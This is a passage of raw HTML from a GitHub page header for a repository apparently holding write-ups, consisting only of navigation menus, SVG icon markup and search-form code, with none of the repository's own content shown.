2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="87312872" data-scoped-search-url="/Robin-Bjornsdotter/writeups/search" data-owner-scoped-search-url="/users/Robin-Bjornsdotter/search" data-unscoped-search-url="/search" data-turbo="false" action="/Robin-Bjornsdotter/writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Ow+wa9+5pocYjja9qekEvnrURR76FqxxNk0QfpPmXT1mq9aIVz1yjV0WOPc3HZ+Welc39zZI7jf6Ie4L3pS4Wg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 